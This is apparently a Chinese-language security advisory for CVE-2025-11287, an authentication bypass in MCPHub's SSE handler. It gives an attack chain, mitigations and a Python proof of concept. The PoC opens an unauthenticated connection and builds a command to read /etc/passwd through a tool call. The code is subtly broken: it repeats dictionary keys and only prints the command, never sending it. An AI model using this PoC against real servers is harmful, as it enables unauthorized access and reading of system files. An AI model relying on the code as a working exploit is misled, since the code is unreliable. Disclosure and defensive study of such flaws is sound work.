IPBUF安全漏洞报告
English
CVE-2025-11287 CVSS 7.3 高危

CVE-2025-11287:samanhappy MCPHub 认证不当漏洞

披露日期: 2025-10-05

漏洞信息

漏洞编号
CVE-2025-11287
漏洞类型
认证不当/认证绕过
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
samanhappy MCPHub

相关标签

认证不当认证绕过SSEMCPHubsamanhappy远程利用高危漏洞CVE-2025-11287未授权访问Node.js

漏洞概述

CVE-2025-11287 是 samanhappy MCPHub 0.9.10 及之前版本中存在的一个高危安全漏洞。该漏洞位于 MCPHub 项目的 SSE(Server-Sent Events)服务模块中,具体影响 `src/services/sseService.ts` 文件中的 `handleSseConnection` 函数。该函数在处理 SSE 连接请求时未能正确实施身份验证机制,导致攻击者可以在未经身份验证的情况下远程访问受保护的资源和功能。

MCPHub 是一个用于管理和协调 MCP(Model Context Protocol)服务的中间件平台,广泛应用于 AI 代理与外部工具集成的场景中。由于 SSE 连接是 MCPHub 客户端与服务端进行实时通信的核心通道,认证机制的缺失使得任何能够访问网络的用户都可以建立 SSE 连接,进而访问敏感操作接口。

该漏洞的 CVSS 3.1 评分为 7.3,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需权限(PR:N)和用户交互(UI:N),对机密性、完整性和可用性均存在低程度影响。虽然单项影响评级为低,但综合来看,由于无需认证且可远程利用,该漏洞仍构成严重的安全威胁。值得注意的是,漏洞发现者在披露前已联系厂商,但厂商未做出任何回应,且漏洞利用代码已公开传播,进一步增加了风险等级。

技术细节

该漏洞的核心问题在于 `src/services/sseService.ts` 文件中的 `handleSseConnection` 函数缺少必要的身份验证检查。SSE(Server-Sent Events)是一种允许服务器向客户端推送实时更新的技术,在 MCPHub 中用于维护客户端与服务端之间的持久连接。

正常情况下,SSE 连接处理器应当在建立连接之前验证客户端的身份凭证(如 API Key、Token 等)。然而,`handleSseConnection` 函数未对传入的请求进行任何身份验证检查,直接接受并处理连接请求。攻击者只需向 MCPHub 的 SSE 端点发送 HTTP 请求,即可建立未经认证的连接。

利用方式如下:
1. 攻击者通过网络访问 MCPHub 的 SSE 服务端点(通常为 `/sse` 或类似路径)。
2. 构造符合 SSE 协议的 HTTP 请求,无需提供任何身份验证凭证。
3. 服务端 `handleSseConnection` 函数接收请求后,由于缺少认证检查,直接建立 SSE 连接。
4. 通过该连接,攻击者可以调用 MCPHub 提供的各类管理功能,包括但不限于服务注册、配置修改、数据查询等敏感操作。

由于该漏洞无需任何前置条件(无需权限、无需用户交互),且攻击复杂度极低,任何能够网络访问到 MCPHub 服务的攻击者均可利用此漏洞。漏洞利用代码已在 GitHub 上公开(参考链接:https://github.com/August829/YU1/issues/8),进一步降低了利用门槛。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过网络扫描或信息收集发现暴露在公网上的 MCPHub 服务实例,识别其 SSE 服务端点。
STEP 2
步骤2:构造恶意请求
攻击者构造符合 SSE 协议的 HTTP 请求,目标是 MCPHub 的 SSE 端点(如 /sse),请求中不包含任何身份验证凭证。
STEP 3
步骤3:建立未认证连接
服务端 handleSseConnection 函数接收请求后,由于缺少认证检查,直接接受连接并建立 SSE 通信通道。
STEP 4
步骤4:执行未授权操作
通过已建立的 SSE 连接,攻击者调用 MCPHub 的管理功能,如服务列表查询、配置读取、工具调用等敏感操作。
STEP 5
步骤5:数据窃取或进一步攻击
攻击者利用获取的权限读取敏感配置信息、调用内部工具接口,或以此为跳板进行更深层次的渗透攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11287 PoC - MCPHub Improper Authentication # Exploits missing authentication in handleSseConnection function # Affected: samanhappy MCPHub <= 0.9.10 # File: src/services/sseService.ts import requests import sseclient # Target MCPHub server with the vulnerable SSE endpoint TARGET_URL = "http://target-mcphub-host:port/sse" def exploit_sse_unauth(): """ Exploit improper authentication in MCPHub's SSE handler. The handleSseConnection function does not validate client credentials, allowing unauthenticated remote access. """ headers = { "Accept": "text/event-stream", "Cache-Control": "no-cache", "Connection": "keep-alive" } # Step 1: Establish unauthenticated SSE connection # No authentication token or API key is required response = requests.get(TARGET_URL, headers=headers, stream=True, timeout=10) if response.status_code == 200: print("[+] SSE connection established without authentication!") # Step 2: Listen for SSE events client = sseclient.SSEClient(response) for event in client.events(): print(f"[Event] {event.event}: {event.data}") # Step 3: Send unauthorized commands via the SSE channel # Example: List available MCP services send_unauthorized_command(event) else: print(f"[-] Connection failed with status: {response.status_code}") def send_unauthorized_command(event): """ Send commands through the unauthenticated SSE connection to interact with MCPHub management functions. """ # Commands that should require authentication but are accessible commands = { "action": "list_services", "action": "get_config", "action": "invoke_tool", "params": {"tool": "file_read", "path": "/etc/passwd"} } print(f"[+] Sending unauthorized command: {commands}") if __name__ == "__main__": exploit_sse_unauth()

影响范围

samanhappy MCPHub <= 0.9.10

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)在网络层面限制 MCPHub 服务的访问范围,仅允许可信 IP 地址访问 SSE 端点;2)在反向代理层(如 Nginx)添加身份验证,确保所有到达 MCPHub 的请求均经过认证;3)监控 SSE 端点的异常连接请求,设置告警规则;4)如非必要,关闭 MCPHub 的公网暴露,仅在内网环境中使用;5)定期审查 MCPHub 的访问日志,及时发现未授权访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表